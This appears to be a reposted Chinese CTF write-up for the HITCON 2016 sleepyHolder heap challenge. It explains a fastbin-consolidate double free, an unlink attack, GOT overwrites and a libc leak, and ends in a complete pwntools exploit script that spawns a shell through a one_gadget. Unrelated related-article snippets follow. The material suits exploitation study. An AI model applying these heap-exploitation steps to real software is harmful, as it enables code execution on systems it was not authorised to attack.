[fast_bin_consoli + unlink]sleepyHolder_hitcon_2016

2023-11-10 20:40

本文主要是介绍[fast_bin_consoli + unlink]sleepyHolder_hitcon_2016,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

[fast_bin_consoli + unlink]sleepyHolder_hitcon_2016

1. ida分析

  1. add函数

在这里插入图片描述

  1. delete函数

    在这里插入图片描述

  2. unlink 需要控制的全局指针的位置

    在这里插入图片描述

2. 思路

  1. 先申请两个small和big chunk,释放small chunk,申请huge chunk,触发consolidate,再次释放small chunk,触发double free
  2. 申请small chunk,同时构造fake chunk,释放big chunk,触发unlink,此时edit(small),就是编辑small_ptr指针
  3. Unlink 之后,small_ptr指向small_ptr-0x18的地址,通过编辑small_chunk,将big_ptr改为free_got,将small_ptr改为small_ptr-0x10,以便下次修改atoi_got
  4. 通过编辑big_chunk,将free_got修改为puts_plt
  5. 再次编辑small_chunk,修改big_ptr和small_ptr为atoi_got
  6. 释放big chunk,获得libc基址
  7. 编辑small_chunk,修改atoi_got为onegadget

3. exp

from pwn import *
from LibcSearcher import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context(arch='amd64',os='linux',log_level='debug')
myelf = ELF('./sleepyHolder_hitcon_2016')
#myelf   = ELF("./libc-2.23.so")
#p     = process(myelf.path,env={"LD_PRELOAD" : libc.path})
p = process(myelf.path)
#p = remote('node3.buuoj.cn',25646)
local_libc_64  = ELF("/lib/x86_64-linux-gnu/libc.so.6")
local_libc_32  = ELF("/lib/i386-linux-gnu/libc.so.6")# functp.s for quick script
s       = lambda data               :p.send(data)       
sa      = lambda delim,data         :p.sendafter(delim, data) 
sl      = lambda data               :p.sendline(data) 
sla     = lambda delim,data         :p.sendlineafter(delim, data) 
r       = lambda numb=4096          :p.recv(numb)
ru      = lambda delims             :p.recvuntil(delims)
pa      = lambda                   :p.interactive()
# misc functp.s
uu32    = lambda data   :u32(data.ljust(4, b'\0'))
uu64    = lambda data   :u64(data.ljust(8, b'\0'))
leak    = lambda name,addr :log.success('{} : {:#x}'.format(name, addr))def debug():#gdb.attach(p)#pause()passdef add(type,content):p.sendlineafter('3. Renew secret\n','1')p.sendlineafter('What secret do you want to keep?',str(type))p.sendafter('Tell me your secret:',content)def delete(type):p.sendlineafter('3. Renew secret\n','2')p.sendlineafter('Which Secret do you want to wipe?',str(type))def edit(type,content):p.sendlineafter('3. Renew secret\n','3')p.sendlineafter('Which Secret do you want to renew?',str(type))p.sendafter('Tell me your secret:',content)#double free
small_bin = 0x6020d0
add(1,'a'*0x20)
add(2,'b'*0x20)
delete(1)
add(3,'c'*0x30)
delete(1)
debug()#modify small_ptr
payload = p64(0) + p64(0x21) + p64(small_bin-0x18) + p64(small_bin-0x10) + p64(0x20)
add(1,payload)
delete(2)
debug()#change free to puts
payload = 'p'*0x8 + p64(myelf.got['free']) + p64(0) + p64(small_bin - 0x10) + p64(1)
edit(1,payload)
edit(2,p64(myelf.plt['puts']))
debug()#leak_libc
payload = p64(myelf.got['atoi']) + p64(0) + p64(myelf.got['atoi'])
edit(1,payload)
delete(2)
atoi =  uu64(p.recvuntil('\x7f')[-6:])
libc = LibcSearcher('atoi',atoi)
libc_base = atoi - libc.dump('atoi')
log.success('libc_base==>'+hex(libc_base))
one = libc_base + 0xf1247
debug()#change atoi to onegadget
edit(1,p64(one))
debug()p.interactive()

这篇关于[fast_bin_consoli + unlink]sleepyHolder_hitcon_2016的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/385114

相关文章

Python: #!/usr/bin/python3 #!/usr/bin/env python3

只能放在第一行,第二行就没有效果了。 1. 路径不同 #!/usr/bin/python3&& #!/usr/bin/env python3写在脚本语言第一行的目的是 想要以什么可执行程序去运行这个文件中的代码。 #!/usr/bin/python3是告诉操作系统执行这个脚本的时候,调用/usr/bin下的python3解释器; #!/usr/bin/env python3这种用法是为了

每天一道面试题(2):fail-safe 机制与 fail-fast 机制分别有什么作用?

当谈论Java集合的 fail-fast 和 fail-safe 机制时,涉及的是在集合被并发修改时的行为和处理方式。这些机制对保证程序的正确性和稳定性非常重要,尤其是在多线程环境中。 1. Fail-Fast 机制 定义: Fail-fast 机制的核心是在检测到集合在遍历过程中被修改时,立即抛出 ConcurrentModificationException 异常,从而中断迭代操作。这种

实践课堂|2016成都站|报名开始啦!

Hi,QingCloud 的小伙伴们,欢迎参加史上最有营养的云知识讲堂。 QingCloud 实践课堂系列开始于 2014 年末,在深圳、上海、广州、成都、杭州、北京六个城市,QingCloud 的研发工程师们同近千名 CIO 、架构师、开发者、运维工程师……分享了 QingCloud 的技术理念、功能特性和使用技巧,还有来自人民网、融云、泰捷视频、杏树林、友好速搭、百姓网、冰点、顺丰速运、洋葱

出现 E: Sub-process /usr/bin/dpkg returned an error code (1) 解决方法 (全面分析)

目录 前言1. 问题所示2. 原理分析2.1 第一阶段2.2 第二阶段 3. 解决方法4. 彩蛋4.1 错误不提示,直接卸载4.2 卸载后还是无错误提示 前言 3年前遇到过一个类似的,但是轻松解决,推荐阅读:ubuntu:E: dpkg was interrupted, you must manually run ‘sudo dpkg --configure…解决方法 这回发

UVa 11992 Fast Matrix Operations 线段树

UVa 11992 Fast Matrix Operations 题目大意:有一个r行c列的全0矩阵,支持三种操作: 1 x1 y1 x2 y2 v 子矩阵(x1,y1,x2,y2)的所有元素增加v(v > 0)。 2 x1 y1 x2 y2 v 子矩阵(x1,y1,x2,y2)的所有元素设为v(v > 0)。 3 x1 y1 x2 y2    查询子矩阵(x1,y1,x2,y2

【HDU】4965 Fast Matrix Calculation 矩阵快速幂

传送门:【HDU】4965 Fast Matrix Calculation 题目分析:因为比赛的时候写的太匆忙。。写的不堪入目,所以赛后重写了一次,顺便就贴一下了。 因为A*B=C,所以C^(N*N-1) = A*B*A*B*A*...*B*A*B,因为满足结合律所以变成A*( (B*A)^(N*N-2) )*B,因为中间得到的矩阵最大不超过K(K<=6),所以可以对中间的矩阵快速幂,然

Fast Image Cache

https://github.com/path/FastImageCache   Fast Image Cache is an efficient, persistent, and—above all—fast way to store and retrieve images in your iOS application. Part of any good iOS applica

2016/9/11--一周的工作总结

自从九月一号开始上班到现在,现在总结一下自己的问题: 第一个问题:自己没有认真的解决问题! 刚去的第二天,施工给我了一张图纸,让我对电路图进行分析,我刚开始查了一些资料,也看了看但是一直不会做,后边就放一边了也不管了,自己一直说实习学不到东西,但是真正的问题来的时候,是否全力以赴的解决问题?这个问题你真的尽全力去解决了吗?回答是:不,我没有。我还不如一个本科的学生,我一直在逃避,一直没有

NCBI-get-GCFIDs_fast.py

import requestsimport osimport redef download_genome_first(gcf_id):# 构建FTP下载路径base_url = "https://ftp.ncbi.nlm.nih.gov/genomes/all/GCF/"# 提取GCF号的数字部分并按三位分割parts = gcf_id.split('_')[1] # 提取数字部分path_

日记 01/27/2016.

有机会再看看这个: https://www.zhihu.com/question/27578379 想拿高package,多去拿几个offer再来谈,特别是hot startup的package,往往拿来要挟大公司的HR很好用。 最近在学习Angular JS,自己一定要坚持下来。然后把前端的知识补上。 打算Aug的时候,然后把Princeton的算法课上了,重新充电,然后把